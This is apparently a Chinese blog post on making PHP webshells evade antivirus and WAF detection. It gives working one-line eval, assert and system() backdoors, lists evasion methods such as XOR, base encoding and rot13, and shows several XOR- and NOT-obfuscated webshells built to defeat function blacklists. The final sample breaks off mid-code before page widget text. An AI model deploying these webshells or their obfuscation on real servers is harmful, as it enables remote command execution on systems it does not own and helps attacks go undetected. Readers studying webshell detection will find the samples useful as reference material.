关于PHP的webshell免杀小结

0X00普通的一句话木马(适用于CTF和小站)

<?php eval($_POST['a']); ?>
//函数的相似替换
<?php assert($_POST['a']); ?>

<?php @eval($_POST['110']);?>与第一个一句话木马相比多了一个"@“字符,我们发现这个字符的含义是在php语法中表示抑制错误信息即使有错误也不返回;属于不太重要的"组件”,而且它的写入位置也相对灵活;可以是eval函数前面,也可以是post函数前面…

接着我们看第二个代码,我们发现它把eval函数替换为了assert函数;这时我们通过查看PHP手册([友情链接](https://www.runoob.com/php/php-
functions.html))发现如下区别:

  • eval():函数把字符串当做代码来计算,但是字符串必须是正确的PHP代码,且要以分号结尾
  • assert():通过函数判断表达式是否成立,如果成立是会执行该表达式,否则报错

可以考虑使用assert函数代替eval函数,因为eval函数实在太敏感了!!!这时又有师傅会问:那还有什么敏感函数呢?那就太多了(eg:system,post,get…),因此我们可以更据免杀的精髓得出,混淆和加密这两种百试不爽的两个方法。

小提示:php一句话木马也可以执行其他命令!(<pre> <body><? @system($_GET["calc"]); ?></body> </pre>)所以,不一定要用POST函数,GET函数也是可以的!(注意:get函数只能向服务器请求信息,所以只能和命令执行绑定在一起哟!)

0X01 php的免杀(字符串免杀思路)


字符串异或加密

字符串base家族加密

字符串rot13加密

字符串拼接

php免杀之异或免杀

大多数情况下,开发者为了方便自身的需求,会使用"黑名单"的方式扳掉许多敏感函数,来达到一个表面看上去新相对安全的一个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全可以通过加密的方法可以解决大部分的问题(eg:异或加密,base家族加密,URL加密…)。所以我们常常会说:白名单>WAF>黑名单!

"^"为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串([参考链接](https://www.leavesongs.com/PENETRATION/webshell-
without-alphanum.html))

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); 
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); 
$___=$$__;
$_($___[_]); 


<?php
$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
('%05'^'`')
${$__}[!$_](${$___}[$_]);
?>


<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值